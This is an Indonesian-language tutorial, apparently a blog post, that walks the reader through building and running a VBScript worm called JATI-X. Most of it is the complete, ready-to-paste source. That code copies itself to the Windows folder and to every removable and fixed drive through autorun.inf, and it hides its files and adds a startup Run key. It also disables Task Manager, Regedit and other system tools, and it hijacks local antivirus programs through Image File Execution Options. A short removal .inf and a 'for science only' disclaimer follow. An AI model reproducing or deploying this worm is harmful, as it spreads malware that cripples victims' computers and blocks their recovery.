CARA MUDAH BUAT VIRUS

CARA MEMBUAT VIRUS
Nah kita akan buat virus JATI-X.VBS.
Ayo sekarang kita buka saja Notepadnya dan ketikkan code berikut. Jika malas kan tinggal Copy > Paste….
‘JATI-X
‘Varian dari JATI.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,JATI,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe jatims32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\JATI-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\JATI -x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\JATI -x.dll.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=fs.getfile(desades.path &”\jatims32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\jatims32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\jatims32.dll.vbs”)
tf.attributes = 39
set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set JATI = createobject(”WScript.Shell”)
‘Ubah Internet Explorer Title
JATI.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->JATI-X<- ::”
‘File Hidden tak terlihat
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
JATI.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘Buat pesan saat Windows Startup
JATI.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE JATI-X”
JATI.regWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”
‘Aktifkan saat Windows Startup
JATI.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- JATI.-x.dll.vbs”
‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ansav.exe\Debugger”,”notepad.exe”
JATI.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”
‘Bonus
Msgbox”maaf anda terkena virus jati”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
Setelah Anda menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama jatims32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan JATI-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :

Ingat jadilah orang yang bermanfaat bagi orang lain. Tidak ada “barang berbahaya” disini karena Andalah yang membuatnya berbahaya. Saya tidak bertanggung jawab apabila Anda menyalahgunakan kode ini. Ini untuk ilmu pengetahuan semata. Kalau disalahgunakan saya kutuk mukanya mirip Tukul (Wah…jadi terkenal nanti)…jangan deh. Pokoknya segala kenekatan Anda ditanggung oleh Anda sendiri.
Virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Misalnya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan)
NOTE: Untuk membersihkan JATI-X caranya mudah. Tinggal hentikan proses yang bernama wscript.exe. Jika di WinNT Anda bisa melakukannya lewat Task Manager. Tapi kalau Win9X silahkan cari tool pengganti Task Manager misalnya Procexp atau CurrProcess. Soalnya terkadang kalau lewat perintah Command Prompt gak bisa.
Setelah Anda memberhentikan proses wscript.exe hapus file induk yang bernama JATI-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options. Setelah itu perbaiki Registry. Untuk mempercepat salin kode ini ke Notepad :
[Version]
Signature=”$Chicago$”
Provider=Fariskhi
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, “INTERNET EXPLORER”
[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger
Setelah itu save dengan FILE TYPE : ALL FILES (*.*) dan simpan dengan nama : JATIxremoval.inf. Setelah itu klik kanan file tersebut dan pilih install. Jadi kita buat Virus dan Antidotnya sama-sama dengan Notepad.